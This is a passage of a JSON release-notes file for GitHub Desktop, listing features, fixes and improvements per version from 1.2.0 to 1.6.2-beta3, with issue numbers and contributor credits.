"1.6.2-beta3": [ "[Improved] Guided merge conflict resolution only commits changes relevant to the merge - #6349" ], "1.6.2-beta2": [ "[Added] Allow users to also resolve manual conflicts when resolving merge conflicts - #6062", "[Added] Crystal and Julia syntax highlighting - #6710. Thanks @KennethSweezy!", "[Fixed] Fix pointy corners on commit message text area - #6635. Thanks @lisavogtsf!", "[Fixed] Use higher contrast color for links in \"Merge Conflicts\" dialog - #6758" ], "1.6.2-beta1": [ "[Added] Automatic switching between Dark and Light modes on macOS - #5037. Thanks @say25!", "[Added] Lua and Fortran syntax highlighting - #6700. Thanks @SimpleBinary!", "[Fixed] Abbreviated commits are not long enough for large repositories - #6662. Thanks @say25!", "[Fixed] App menu bar visible on hover on Windows when in \"Let’s get started\" mode - #6669", "[Fixed] Remember scroll positions in History and Changes lists - #5177 #5059. Thanks @Daniel-McCarthy!", "[Fixed] Inconsistent \"Reveal in …\" labels for context menus - #6466. Thanks @say25!", "[Fixed] Prevent concurrent fetches between user and status indicator checks - #6121 #5438 #5328", "[Fixed] Merge conflict conflict did not ask user to resolve some binary files - #6693", "[Improved] Add link to all release notes in Release Notes dialog - #6443. Thanks @koralcem!", "[Improved] Arrow for renamed/copied changes when viewing commit - #6519. Thanks @koralcem!", "[Improved] Menu state updating to address race condition - #6643", "[Improved] Updated verbiage when clicking on changed files to make it more explicit what will occur when you ignore the file(s) - #6689. Thanks @PaulViola!" ], "1.6.2-beta0": [ "[Fixed] Don't show \"No local changes\" view when switching between changed files" ], "1.6.1": [ "[Fixed] Don't show \"No local changes\" view when switching between changed files" ], "1.6.0": [ "[New] Help users add their first repo during onboarding - #6474", "[New] \"No local changes\" view helpfully suggests next actions for you to take - #6445", "[Added] Support JetBrains Webstorm as an external editor - #6077. Thanks @KennethSweezy!", "[Added] Add Visual Basic syntax highlighting - #6461. Thanks @SimpleBinary!", "[Fixed] Automatically locate a missing repository when it cannot be found - #6228. Thanks @msftrncs!", "[Fixed] Don't include untracked files in merge commit - #6411", "[Fixed] Don't show \"Still Conflicted Warning\" when all conflicts are resolved - #6451", "[Fixed] Only execute menu action a single time upon hitting Enter - #5344", "[Fixed] Show autocompletion of GitHub handles and issues properly in commit description field - #6459", "[Improved] Repository list when no repositories found - #5566 #6474", "[Improved] Image diff menu no longer covered by large images - #6520. Thanks @06b!", "[Improved] Enable additional actions during a merge conflict - #6385", "[Improved] Increase contrast on input placeholder color in dark mode - #6556", "[Improved] Don't show merge success banner when attempted merge doesn't complete - #6282", "[Improved] Capitalize menu items appropriately on macOS - #6469" ], "1.6.0-beta3": [ "[Fixed] Autocomplete selection does not overflow text area - #6459", "[Fixed] No local changes views incorrectly rendering ampersands - #6596", "[Improved] Capitalization of menu items on macOS - #6469" ], "1.6.0-beta2": [ "[New] \"No local changes\" view makes it easy to find and accomplish common actions - #6445", "[Fixed] Automatically locate a missing repository when it cannot be found - #6228. Thanks @msftrncs!", "[Improved] Enable additional actions during a merge conflict - #6385", "[Improved] Increase contrast on input placeholder color in dark mode - #6556", "[Improved] Merge success banner no longer shown when attempted merge doesn't complete - #6282" ], "1.6.0-beta1": [ "[New] Help users add their first repo during onboarding - #6474", "[Added] Include ability for users to add new repositories when there are none available - #5566 #6474", "[Added] Support JetBrains Webstorm as an external editor - #6077. Thanks @KennethSweezy!", "[Added] Add Visual Basic syntax highlighting - #6461. Thanks @SimpleBinary!", "[Fixed] Don't include untracked files in merge commit - #6411", "[Fixed] Don't show \"Still Conflicted Warning\" when all conflicts are resolved - #6451", "[Fixed] Enter when using keyboard to navigate app menu executed menu action twice - #5344", "[Improved] Image diff menu no longer covered by large images - #6520. Thanks @06b!" ], "1.5.2-beta0": [], "1.5.1": [ "[Added] Provide keyboard shortcut for getting to commit summary field - #1719. Thanks @bruncun!", "[Added] Add hover states on list items and tabs - #6310", "[Added] Add Dockerfile syntax highlighting - #4533. Thanks @say25!", "[Added] Support Visual SlickEdit as an external editor - #6029. Thanks @texasaggie97!", "[Fixed] Allow repositories to be cloned to empty folders - #5857. Thanks @Daniel-McCarthy!", "[Fixed] Prevent creating branch with detached HEAD from reverting to default branch - #6085", "[Fixed] Fix \"Open In External Editor\" for Atom/VS Code on Windows when paths contain spaces - #6181. Thanks @msftrncs!", "[Fixed] Persist Branch List and Pull Request List filter text - #6002. Thanks @Daniel-McCarthy!", "[Fixed] Retain renamed branches position in recent branches list - #6155. Thanks @gnehcc!", "[Fixed] Prevent avatar duplication when user is co-author and committer - #6135. Thanks @bblarney!", "[Fixed] Provide keyboard selection for the \"Clone a Repository\" dialog - #3596. Thanks @a-golovanov!", "[Fixed] Close License & Open Source Notices dialog upon pressing \"Enter\" in dialog - #6137. Thanks @bblarney!", "[Fixed] Dismiss \"Merge into Branch\" dialog with escape key - #6154. Thanks @altaf933!", "[Fixed] Focus branch selector when comparing to branch from menu - #5600", "[Fixed] Reverse fold/unfold icons for expand/collapse commit summary - #6196. Thanks @HazemAM!", "[Improved] Allow toggling between diff modes - #6231. Thanks @06b!", "[Improved] Show focus around full input field - #6234. Thanks @seokju-na!", "[Improved] Make lists scroll to bring selected items into view - #6279", "[Improved] Consistently order the options for adding a repository - #6396. Thanks @vilanz!", "[Improved] Clear merge conflicts banner after there are no more conflicted files - #6428" ], "1.5.1-beta6": [ "[Improved] Consistently order the options for adding a repository - #6396. Thanks @vilanz!", "[Improved] Clear merge conflicts banner after there are no more conflicted files - #6428" ], "1.5.1-beta5": [ "[Improved] Commit conflicted files warning - #6381", "[Improved] Dismissable merge conflict dialog and associated banner - #6379 #6380", "[Fixed] Fix feature flag for readme overwrite warning so that it shows on beta - #6412" ], "1.5.1-beta4": [ "[Improved] Display warning if existing readme file will be overwritten - #6338. Thanks @Daniel-McCarthy!", "[Improved] Add check for attempts to commit >100 MB files without Git LFS - #997. Thanks @Daniel-McCarthy!", "[Improved] Merge conflicts dialog visual updates - #6377" ], "1.5.1-beta3": [ "[Improved] Maintains state on tabs for different methods of cloning repositories - #5937" ], "1.5.1-beta2": [ "[Improved] Clarified internal documentation - #6348. Thanks @bblarney!" ], "1.5.1-beta1": [ "[Added] Provide keyboard shortcut for getting to commit summary field - #1719. Thanks @bruncun!", "[Added] Add hover states on list items and tabs - #6310", "[Added] Add Dockerfile syntax highlighting - #4533. Thanks @say25!", "[Added] Support Visual SlickEdit as an external editor - #6029. Thanks @texasaggie97!", "[Improved] Allow toggling between diff modes - #6231. Thanks @06b!", "[Improved] Show focus around full input field - #6234. Thanks @seokju-na!", "[Improved] Make lists scroll to bring selected items into view - #6279", "[Fixed] Allow repositories to be cloned to empty folders - #5857. Thanks @Daniel-McCarthy!", "[Fixed] Prevent creating branch with detached HEAD from reverting to default branch - #6085", "[Fixed] Fix 'Open In External Editor' for Atom/VS Code on Windows when paths contain spaces - #6181. Thanks @msftrncs!", "[Fixed] Persist Branch List and Pull Request List filter text - #6002. Thanks @Daniel-McCarthy!", "[Fixed] Retain renamed branches position in recent branches list - #6155. Thanks @gnehcc!", "[Fixed] Prevent avatar duplication when user is co-author and committer - #6135. Thanks @bblarney!", "[Fixed] Provide keyboard selection for the ‘Clone a Repository’ dialog - #3596. Thanks @a-golovanov!", "[Fixed] Close License & Open Source Notices dialog upon pressing \"Enter\" in dialog - #6137. Thanks @bblarney!", "[Fixed] Dismiss \"Merge into Branch\" dialog with escape key - #6154. Thanks @altaf933!", "[Fixed] Focus branch selector when comparing to branch from menu - #5600", "[Fixed] Reverse fold/unfold icons for expand/collapse commit summary - #6196. Thanks @HazemAM!" ], "1.5.1-beta0": [], "1.5.0": [ "[New] Clone, create, or add repositories right from the repository dropdown - #5878", "[New] Drag-and-drop to add local repositories from macOS tray icon - #5048", "[Added] Resolve merge conflicts through a guided flow - #5400", "[Added] Allow merging branches directly from branch dropdown - #5929. Thanks @bruncun!", "[Added] Commit file list now has \"Copy File Path\" context menu action - #2944. Thanks @Amabel!", "[Added] Keyboard shortcut for \"Rename Branch\" menu item - #5964. Thanks @agisilaos!", "[Added] Notify users when a merge is successfully completed - #5851", "[Fixed] \"Compare on GitHub\" menu item enabled when no repository is selected - #6078", "[Fixed] Diff viewer blocks keyboard navigation using reverse tab order - #2794", "[Fixed] Launching Desktop from browser always asks to clone repository - #5913", "[Fixed] Publish dialog displayed on push when repository is already published - #5936", "[Improved] \"Publish Repository\" dialog handles emoji characters - #5980. Thanks @WaleedAshraf!", "[Improved] Avoid repository checks when no path is specified in \"Create Repository\" dialog - #5828. Thanks @JakeHL!", "[Improved] Clarify the direction of merging branches - #5930. Thanks @JQuinnie!", "[Improved] Default commit summary more explanatory and consistent with GitHub.com - #6017. Thanks @Daniel-McCarthy!", "[Improved] Display a more informative message on merge dialog when branch is up to date - #5890", "[Improved] Getting a repository's status only blocks other operations when absolutely necessary - #5952", "[Improved] Display current branch in header of merge dialog - #6027", "[Improved] Sanitize repository name before publishing to GitHub - #3090. Thanks @Daniel-McCarthy!", "[Improved] Show the branch name in \"Update From Default Branch\" menu item - #3018. Thanks @a-golovanov!", "[Improved] Update license and .gitignore templates for initializing a new repository - #6024. Thanks @say25!" ], "1.5.0-beta5": [], "1.5.0-beta4": [ "[Fixed] \"Compare on GitHub\" menu item enabled when no repository is selected - #6078", "[Fixed] Diff viewer blocks keyboard navigation using reverse tab order - #2794", "[Improved] \"Publish Repository\" dialog handles emoji characters - #5980. Thanks @WaleedAshraf!" ], "1.5.0-beta3": [], "1.5.0-beta2": [ "[Added] Resolve merge conflicts through a guided flow - #5400", "[Added] Notify users when a merge is successfully completed - #5851", "[Added] Allow merging branches directly from branch dropdown - #5929. Thanks @bruncun!", "[Improved] Merge dialog displays current branch in header - #6027", "[Improved] Clarify the direction of merging branches - #5930. Thanks @JQuinnie!", "[Improved] Show the branch name in \"Update From Default Branch\" menu item - #3018. Thanks @a-golovanov!", "[Improved] Default commit summary more explanatory and consistent with GitHub.com - #6017. Thanks @Daniel-McCarthy!", "[Improved] Updated license and .gitignore templates for initializing a new repository - #6024. Thanks @say25!" ], "1.5.0-beta1": [ "[New] Repository switcher has a convenient \"Add\" button to add other repositories - #5878", "[New] macOS tray icon now supports drag-and-drop to add local repositories - #5048", "[Added] Keyboard shortcut for \"Rename Branch\" menu item - #5964. Thanks @agisilaos!", "[Added] Commit file list now has \"Copy File Path\" context menu action - #2944. Thanks @Amabel!", "[Fixed] Launching Desktop from browser always asks to clone repository - #5913", "[Fixed] Publish dialog displayed on push when repository is already published - #5936", "[Improved] Sanitize repository name before publishing to GitHub - #3090. Thanks @Daniel-McCarthy!", "[Improved] Getting a repository's status only blocks other operations when absolutely necessary - #5952", "[Improved] Avoid repository checks when no path is specified in \"Create Repository\" dialog - #5828. Thanks @JakeHL!", "[Improved] Display a more informative message on merge dialog when branch is up to date - #5890" ], "1.4.4-beta0": [], "1.4.3": [ "[Added] Add \"Remove Repository\" keyboard shortcut - #5848. Thanks @say25!", "[Added] Add keyboard shortcut to delete a branch - #5018. Thanks @JakeHL!", "[Fixed] Emoji autocomplete not rendering in some situations - #5859", "[Fixed] Release notes text overflowing dialog box - #5854. Thanks @amarsiingh!", "[Improved] Support Python 3 in Desktop CLI on macOS - #5843. Thanks @munir131!", "[Improved] Avoid unnecessarily reloading commit history - #5470", "[Improved] Publish Branch dialog will publish commits when pressing Enter - #5777. Thanks @JKirkYuan!" ], "1.4.3-beta2": [ "[Added] Added keyboard shortcut to delete a branch - #5018. Thanks @JakeHL!", "[Fixed] Fix release notes text overflowing dialog box - #5854. Thanks @amarsiingh!", "[Improved] Avoid unnecessarily reloading commit history - #5470" ], "1.4.3-beta1": [ "[Added] Add \"Remove Repository\" keyboard shortcut - #5848. Thanks @say25!", "[Fixed] Fix emoji autocomplete not rendering in some situations - #5859", "[Fixed] Support Python 3 in Desktop CLI on macOS - #5843. Thanks @munir131!", "[Improved] Publish Branch dialog will publish commits when pressing Enter - #5777. Thanks @JKirkYuan!" ], "1.4.3-beta0": [], "1.4.2": [ "[New] Show resolved conflicts as resolved in Changes pane - #5609", "[Added] Add Terminator, MATE Terminal, and Terminology shells - #5753. Thanks @joaomlneto!", "[Fixed] Update embedded Git to version 2.19.1 for security vulnerability fix", "[Fixed] Always show commit history list when History tab is clicked - #5783. Thanks @JKirkYuan!", "[Fixed] Stop overriding the protocol of a detected GitHub repository - #5721", "[Fixed] Update sign in error message - #5766. Thanks @tiagodenoronha!", "[Fixed] Correct overflowing T&C and License Notices dialogs - #5756. Thanks @amarsiingh!", "[Improved] Add default commit message for single-file commits - #5240. Thanks @lean257!", "[Improved] Refresh commit list faster after reverting commit via UI - #5752", "[Improved] Add repository path to Remove repository dialog - #5805. Thanks @NickCraver!", "[Improved] Display whether user entered incorrect username or email address - #5775. Thanks @tiagodenoronha!", "[Improved] Update Discard Changes dialog text when discarding all changes - #5744. Thanks @Daniel-McCarthy!" ], "1.4.2-beta0": [], "1.4.1-test2": [ "Testing changes to how Desktop performs CI platform checks" ], "1.4.1-test1": [ "Testing changes to how Desktop performs CI platform checks" ], "1.4.1": [ "[Added] Support for opening repository in Cygwin terminal - #5654. Thanks @LordOfTheThunder!", "[Fixed] 'Compare to Branch' menu item not disabled when modal is open - #5673. Thanks @kanishk98!", "[Fixed] Co-author form does not show/hide for newly-added repository - #5490", "[Fixed] Desktop command line always suffixes `.git` to URL when starting a clone - #5529. Thanks @j-f1!", "[Fixed] Dialog styling issue for dark theme users on Windows - #5629. Thanks @cwongmath!", "[Fixed] No message shown when filter returns no results in Clone Repository view - #5637. Thanks @DanielHix!", "[Improved] Branch names cannot start with a '+' character - #5594. Thanks @Daniel-McCarthy!", "[Improved] Clone dialog re-runs filesystem check when re-focusing on Desktop - #5518. Thanks @Daniel-McCarthy!", "[Improved] Commit disabled when commit summary is only spaces - #5677. Thanks @Daniel-McCarthy!", "[Improved] Commit summary expander sometimes shown when not needed - #5700. Thanks @aryyya!", "[Improved] Error handling when looking for merge base of a missing ref - #5612", "[Improved] Warning if branch exists on remote when creating branch - #5141. Thanks @Daniel-McCarthy!" ], "1.4.1-beta1": [ "[Added] Support for opening repository in Cygwin terminal - #5654. Thanks @LordOfTheThunder!", "[Fixed] 'Compare to Branch' menu item not disabled when modal is open - #5673. Thanks @kanishk98!", "[Fixed] No message shown when filter returns no results in Clone Repository view - #5637. Thanks @DanielHix!", "[Fixed] Co-author form does not show/hide for newly-added repository - #5490", "[Fixed] Dialog styling issue for dark theme users on Windows - #5629. Thanks @cwongmath!", "[Fixed] Desktop command line always suffixes `.git` to URL when starting a clone - #5529. Thanks @j-f1!", "[Improved] Commit summary expander sometimes shown when not needed - #5700. Thanks @aryyya!", "[Improved] Commit disabled when commit summary is only spaces - #5677. Thanks @Daniel-McCarthy!", "[Improved] Error handling when looking for merge base of a missing ref - #5612", "[Improved] Clone dialog re-runs filesystem check when re-focusing on Desktop - #5518. Thanks @Daniel-McCarthy!", "[Improved] Branch names cannot start with a '+' character - #5594. Thanks @Daniel-McCarthy!", "[Improved] Warning if branch exists on remote when creating branch - #5141. Thanks @Daniel-McCarthy!" ], "1.4.1-beta0": [], "1.4.0": [ "[New] When an update is available for GitHub Desktop, release notes can be viewed in Desktop - #2774", "[New] Detect merge conflicts when comparing branches - #4588", "[Fixed] Avoid double checkout warning when opening a pull request in Desktop - #5375", "[Fixed] Error when publishing repository is now associated with the right tab - #5422. Thanks @Daniel-McCarthy!", "[Fixed] Disable affected menu items when on detached HEAD - #5500. Thanks @say25!", "[Fixed] Show border when commit description is expanded - #5506. Thanks @aryyya!", "[Fixed] GitLab URL which corresponds to GitHub repository of same name cloned GitHub repository - #4154", "[Fixed] Caret in co-author selector is hidden when dark theme enabled - #5589", "[Fixed] Authenticating to GitHub Enterprise fails when user has no emails defined - #5585", "[Improved] Avoid multiple lookups of default remote - #5399" ], "1.4.0-beta3": [ "[New] When an update is available for GitHub Desktop, the release notes can be viewed in Desktop - #2774", "[New] Detect merge conflicts when comparing branches - #4588", "[Fixed] Avoid double checkout warning when opening a pull request in Desktop - #5375", "[Fixed] Error when publishing repository is now associated with the right tab - #5422. Thanks @Daniel-McCarthy!", "[Fixed] Disable affected menu items when on detached HEAD - #5500. Thanks @say25!", "[Fixed] Show border when commit description is expanded - #5506. Thanks @aryyya!", "[Fixed] GitLab URL which corresponds to GitHub repository of same name cloned GitHub repository - #4154", "[Improved] Avoid multiple lookups of default remote - #5399", "[Improved] Skip optional locks when checking status of repository - #5376" ], "1.4.0-beta2": [ "[New] When an update is available for GitHub Desktop, the release notes can be viewed in Desktop - #2774", "[New] Detect merge conflicts when comparing branches - #4588", "[Fixed] Avoid double checkout warning when opening a pull request in Desktop - #5375", "[Fixed] Error when publishing repository is now associated with the right tab - #5422. Thanks @Daniel-McCarthy!", "[Fixed] Disable affected menu items when on detached HEAD - #5500. Thanks @say25!", "[Fixed] Show border when commit description is expanded - #5506. Thanks @aryyya!", "[Fixed] GitLab URL which corresponds to GitHub repository of same name cloned GitHub repository - #4154", "[Improved] Avoid multiple lookups of default remote - #5399", "[Improved] Skip optional locks when checking status of repository - #5376" ], "1.4.0-beta1": [ "[New] When an update is available for GitHub Desktop, the release notes can be viewed in Desktop - #2774", "[New] Detect merge conflicts when comparing branches - #4588", "[Fixed] Avoid double checkout warning when opening a pull request in Desktop - #5375", "[Fixed] Error when publishing repository is now associated with the right tab - #5422. Thanks @Daniel-McCarthy!", "[Fixed] Disable affected menu items when on detached HEAD - #5500. Thanks @say25!", "[Fixed] Show border when commit description is expanded - #5506. Thanks @aryyya!", "[Fixed] GitLab URL which corresponds to GitHub repository of same name cloned GitHub repository - #4154", "[Improved] Avoid multiple lookups of default remote - #5399", "[Improved] Skip optional locks when checking status of repository - #5376" ], "1.4.0-beta0": [], "1.3.5": [ "[Fixed] Disable delete button while deleting a branch - #5331", "[Fixed] History now avoids calling log.showSignature if set in config - #5466", "[Fixed] Start blocking the ability to add local bare repositories - #4293. Thanks @Daniel-McCarthy!", "[Fixed] Revert workaround for tooltip issue on Windows - #3362. Thanks @divayprakash!", "[Improved] Error message when publishing to missing organisation - #5380. Thanks @Daniel-McCarthy!", "[Improved] Don't hide commit details when commit description is expanded. - #5471. Thanks @aryyya!" ], "1.3.5-beta1": [ "[Fixed] Disable delete button while deleting a branch - #5331", "[Fixed] History now avoids calling log.showSignature if set in config - #5466", "[Fixed] Start blocking the ability to add local bare repositories - #4293. Thanks @Daniel-McCarthy!", "[Fixed] Revert workaround for tooltip issue on Windows - #3362. Thanks @divayprakash!", "[Improved] Error message when publishing to missing organisation - #5380. Thanks @Daniel-McCarthy!", "[Improved] Don't hide commit details when commit summary description is expanded. - #5471. Thanks @aryyya!" ], "1.3.5-beta0": [], "1.3.4": [ "[Improved] Cloning message uses remote repo name not file destination - #5413. Thanks @lisavogtsf!", "[Improved] Support VSCode user scope installation - #5281. Thanks @saschanaz!" ], "1.3.4-beta1": [ "[Improved] Cloning message uses remote repo name not file destination - #5413. Thanks @lisavogtsf!", "[Improved] Support VSCode user scope installation - #5281. Thanks @saschanaz!" ], "1.3.4-beta0": [], "1.3.3": [ "[Fixed] Maximize and restore app on Windows does not fill available space - #5033", "[Fixed] 'Clone repository' menu item label is obscured on Windows - #5348. Thanks @Daniel-McCarthy!", "[Fixed] User can toggle files when commit is in progress - #5341. Thanks @masungwon!", "[Improved] Repository indicator background work - #5317 #5326 #5363 #5241 #5320" ], "1.3.3-beta1": [ "[Fixed] Maximize and restore app on Windows does not fill available space - #5033", "[Fixed] 'Clone repository' menu item label is obscured on Windows - #5348. Thanks @Daniel-McCarthy!", "[Fixed] User can toggle files when commit is in progress - #5341. Thanks @masungwon!", "[Improved] Repository indicator background work - #5317 #5326 #5363 #5241 #5320" ], "1.3.3-test6": ["Testing infrastructure changes"], "1.3.3-test5": ["Testing the new CircleCI config changes"], "1.3.3-test4": ["Testing the new CircleCI config changes"], "1.3.3-test3": ["Testing the new CircleCI config changes"], "1.3.3-test2": ["Testing the new CircleCI config changes"], "1.3.3-test1": ["Testing the new CircleCI config changes"], "1.3.2": [ "[Fixed] Bugfix for background checks not being aware of missing repositories - #5282", "[Fixed] Check the local state of a repository before performing Git operations - #5289", "[Fixed] Switch to history view for default branch when deleting current branch during a compare - #5256", "[Fixed] Handle missing .git directory inside a tracked repository - #5291" ], "1.3.2-beta1": [ "[Fixed] Bugfix for background checks not being aware of missing repositories - #5282", "[Fixed] Check the local state of a repository before performing Git operations - #5289", "[Fixed] Switch to history view for default branch when deleting current branch during a compare - #5256", "[Fixed] Handle missing .git directory inside a tracked repository - #5291" ], "1.3.1": [ "[Fixed] Background Git operations on missing repositories are not handled as expected - #5282" ], "1.3.1-beta1": [ "[Fixed] Background Git operations on missing repositories are not handled as expected - #5282" ], "1.3.1-beta0": [ "[New] Notification displayed in History tab when the base branch moves ahead of the current branch - #4768", "[New] Repository list displays uncommitted changes indicator and ahead/behind information - #2259 #5095", "[Added] Option to move repository to trash when removing from app - #2108. Thanks @say25!", "[Added] Syntax highlighting for PowerShell files - #5081. Thanks @say25!", "[Fixed] \"Discard Changes\" context menu discards correct file when entry is not part of selected group - #4788", "[Fixed] Display local path of selected repository as tooltip - #4922. Thanks @yongdamsh!", "[Fixed] Display root directory name when repository is located at drive root - #4924", "[Fixed] Handle legacy macOS right click gesture - #4942", "[Fixed] History omits latest commit from list - #5243", "[Fixed] Markdown header elements hard to read in dark mode - #5133. Thanks @agisilaos!", "[Fixed] Only perform ahead/behind comparisons when branch selector is open - #5142", "[Fixed] Relax checks for merge commits for GitHub Enterprise repositories - #4329", "[Fixed] Render clickable link in \"squash and merge\" commit message - #5203. Thanks @1pete!", "[Fixed] Return key disabled when no matches found in Compare branch list - #4458", "[Fixed] Selected commit not remembered when switching between History and Changes tabs - #4985", "[Fixed] Selected commit when comparing is reset to latest when Desktop regains focus - #5069", "[Fixed] Support default branch detection for non-GitHub repositories - #4937", "[Improved] Change primary button color to blue for dark theme - #5074", "[Improved] Diff gutter elements should be considered button elements when interacting - #5158", "[Improved] Status parsing significantly more performant when handling thousands of changed files - #2449 #5186" ], "1.3.0": [ "[New] Notification displayed in History tab when the base branch moves ahead of the current branch - #4768", "[New] Repository list displays uncommitted changes indicator and ahead/behind information - #2259 #5095", "[Added] Option to move repository to trash when removing from app - #2108. Thanks @say25!", "[Added] Syntax highlighting for PowerShell files - #5081. Thanks @say25!", "[Fixed] \"Discard Changes\" context menu discards correct file when entry is not part of selected group - #4788", "[Fixed] Display local path of selected repository as tooltip - #4922. Thanks @yongdamsh!", "[Fixed] Display root directory name when repository is located at drive root - #4924", "[Fixed] Handle legacy macOS right click gesture - #4942", "[Fixed] History omits latest commit from list - #5243", "[Fixed] Markdown header elements hard to read in dark mode - #5133. Thanks @agisilaos!", "[Fixed] Only perform ahead/behind comparisons when branch selector is open - #5142", "[Fixed] Relax checks for merge commits for GitHub Enterprise repositories - #4329", "[Fixed] Render clickable link in \"squash and merge\" commit message - #5203. Thanks @1pete!", "[Fixed] Return key disabled when no matches found in Compare branch list - #4458", "[Fixed] Selected commit not remembered when switching between History and Changes tabs - #4985", "[Fixed] Selected commit when comparing is reset to latest when Desktop regains focus - #5069", "[Fixed] Support default branch detection for non-GitHub repositories - #4937", "[Improved] Change primary button color to blue for dark theme - #5074", "[Improved] Diff gutter elements should be considered button elements when interacting - #5158", "[Improved] Status parsing significantly more performant when handling thousands of changed files - #2449 #5186" ], "1.3.0-beta7": [], "1.3.0-beta6": [], "1.3.0-beta5": [ "[Fixed] Ensure commit message is cleared after successful commit - #4046", "[Fixed] History omits latest commit from list - #5243" ], "1.3.0-beta4": [ "[Fixed] Only perform ahead/behind comparisons when branch selector is open - #5142", "[Fixed] Render clickable link in \"squash and merge\" commit message - #5203. Thanks @1pete!", "[Fixed] Selected commit not remembered when switching between History and Changes tabs - #4985", "[Fixed] Selected commit when comparing is reset to latest when Desktop regains focus - #5069" ], "1.3.0-beta3": [ "[Fixed] \"Discard Changes\" context menu discards correct file when entry is not part of selected group - #4788", "[Fixed] Return key disabled when no matches found in Compare branch list - #4458", "[Improved] Status parsing significantly more performant when handling thousands of changed files - #2449 #5186" ], "1.3.0-beta2": [ "[Added] Option to move repository to trash when removing from app - #2108. Thanks @say25!", "[Fixed] Markdown header elements hard to read in dark mode - #5133. Thanks @agisilaos!", "[Improved] Diff gutter elements should be considered button elements when interacting - #5158" ], "1.2.7-test3": ["Test deployment for electron version bump."], "1.3.0-beta1": [ "[New] Notification displayed in History tab when the base branch moves ahead of the current branch - #4768", "[New] Repository list displays uncommitted changes count and ahead/behind information - #2259", "[Added] Syntax highlighting for PowerShell files- #5081. Thanks @say25!", "[Fixed] Display something when repository is located at drive root - #4924", "[Fixed] Relax checks for merge commits for GitHub Enterprise repositories - #4329", "[Fixed] Display local path of selected repository as tooltip - #4922. Thanks @yongdamsh!", "[Fixed] Support default branch detection for non-GitHub repositories - #4937", "[Fixed] Handle legacy macOS right click gesture - #4942", "[Improved] Repository list badge style tweaks and tweaks for dark theme - #5095", "[Improved] Change primary button color to blue for dark theme - #5074" ], "1.2.7-test2": ["Test deployment for electron version bump."], "1.2.7-test1": ["Sanity check deployment for refactored scripts"], "1.2.7-beta0": [ "[Fixed] Visual indicator for upcoming feature should not be shown - #5026" ], "1.2.6": [ "[Fixed] Visual indicator for upcoming feature should not be shown - #5026" ], "1.2.6-beta0": [ "[Fixed] Feature flag for upcoming feature not applied correctly - #5024" ], "1.2.5": [ "[Fixed] Feature flag for upcoming feature not applied correctly - #5024" ], "1.2.4": [ "[New] Dark Theme preview - #4849", "[Added] Syntax highlighting for Cake files - #4935. Thanks @say25!", "[Added] WebStorm support for macOS - #4841. Thanks @mrsimonfletcher!", "[Fixed] Compare tab appends older commits when scrolling to bottom of list - #4964", "[Fixed] Remove temporary directory after Git LFS operation completes - #4414", "[Fixed] Unable to compare when two branches exist - #4947 #4730", "[Fixed] Unhandled errors when refreshing pull requests fails - #4844 #4866", "[Improved] Remove context menu needs to hint if a dialog will be shown - #4975", "[Improved] Upgrade embedded Git LFS - #4602 #4745", "[Improved] Update banner message clarifies that only Desktop needs to be restarted - #4891. Thanks @KennethSweezy!", "[Improved] Discard Changes context menu entry should contain ellipses when user needs to confirm - #4846. Thanks @yongdamsh!", "[Improved] Initializing syntax highlighting components - #4764", "[Improved] Only show overflow shadow when description overflows - #4898", "[Improved] Changes tab displays number of changed files instead of dot - #4772. Thanks @yongdamsh!" ], "1.2.4-beta5": [], "1.2.4-beta4": [ "[Fixed] Compare tab appends older commits when scrolling to bottom of list - #4964", "[Fixed] Remove temporary directory after Git LFS operation completes - #4414", "[Improved] Remove context menu needs to hint if a dialog will be shown - #4975", "[Improved] Upgrade embedded Git LFS - #4602 #4745" ], "1.2.4-test1": [ "Confirming latest Git LFS version addresses reported issues" ], "1.2.4-beta3": [ "[Added] WebStorm support for macOS - #4841. Thanks @mrsimonfletcher!", "[Improved] Update banner message clarifies that only Desktop needs to be restarted - #4891. Thanks @KennethSweezy!" ], "1.2.4-beta2": [], "1.2.4-beta1": [ "[New] Dark Theme preview - #4849", "[Added] Syntax highlighting for Cake files - #4935. Thanks @say25!", "[Fixed] Unable to compare when two branches exist - #4947 #4730", "[Fixed] Unhandled errors when refreshing pull requests fails - #4844 #4866", "[Improved] Discard Changes context menu entry should contain ellipses when user needs to confirm - #4846. Thanks @yongdamsh!", "[Improved] Initializing syntax highlighting components - #4764", "[Improved] Only show overflow shadow when description overflows - #4898", "[Improved] Changes tab displays number of changed files instead of dot - #4772. Thanks @yongdamsh!" ], "1.2.3": [ "[Fixed] No autocomplete when searching for co-authors - #4847", "[Fixed] Error when checking out a PR from a fork - #4842" ], "1.2.3-beta1": [ "[Fixed] No autocomplete when searching for co-authors - #4847", "[Fixed] Error when checking out a PR from a fork - #4842" ], "1.2.3-test1": [ "Confirming switch from uglify-es to babel-minify addresses minification issue - #4871" ], "1.2.2": [ "[Fixed] Make cURL/schannel default to using the Windows certificate store - #4817", "[Fixed] Restore text selection highlighting in diffs - #4818" ], "1.2.2-beta1": [ "[Fixed] Make cURL/schannel default to using the Windows certificate store - #4817", "[Fixed] Text selection highlighting in diffs is back - #4818" ], "1.2.1": [ "[Added] Brackets support for macOS - #4608. Thanks @3raxton!", "[Added] Pull request number and author are included in fuzzy-find filtering - #4653. Thanks @damaneice!", "[Fixed] Decreased the max line length limit - #3740. Thanks @sagaragarwal94!", "[Fixed] Updated embedded Git to 2.17.1 to address upstream security issue - #4791", "[Improved] Display the difference in file size of an image in the diff view - #4380. Thanks @ggajos!" ], "1.2.1-test1": ["Upgraded embedded Git to 2.17.0"], "1.2.1-beta1": [ "[Added] Brackets support for macOS - #4608. Thanks @3raxton!", "[Added] Pull request number and author are included in fuzzy-find filtering - #4653. Thanks @damaneice!", "[Fixed] Decreased the max line length limit - #3740. Thanks @sagaragarwal94!", "[Fixed] Updated embedded Git to 2.17.1 to address upstream security issue - #4791", "[Improved] Display the difference in file size of an image in the diff view - #4380. Thanks @ggajos!" ], "1.2.1-beta0": [], "1.1.2-test6": ["Testing the Webpack v4 output from the project"], "1.2.0": [ "[New] History now has ability to compare to another branch and merge outstanding commits", "[New] Support for selecting more than one file in the changes list - #1712. Thanks @icosamuel!", "[New] Render bitmap images in diffs - #4367. Thanks @MagicMarvMan!", "[Added] Add PowerShell Core support for Windows and macOS - #3791. Thanks @saschanaz!", "[Added] Add MacVim support for macOS - #4532. Thanks @johnelliott!", "[Added] Syntax highlighting for JavaServer Pages (JSP) - #4470. Thanks @damaneice!", "[Added] Syntax highlighting for Haxe files - #4445. Thanks @Gama11!", "[Added] Syntax highlighting for R files - #4455. Thanks @say25!", "[Fixed] 'Open in Shell' on Linux ensures Git is on PATH - #4619. Thanks @ziggy42!", "[Fixed] Pressing 'Enter' on filtered 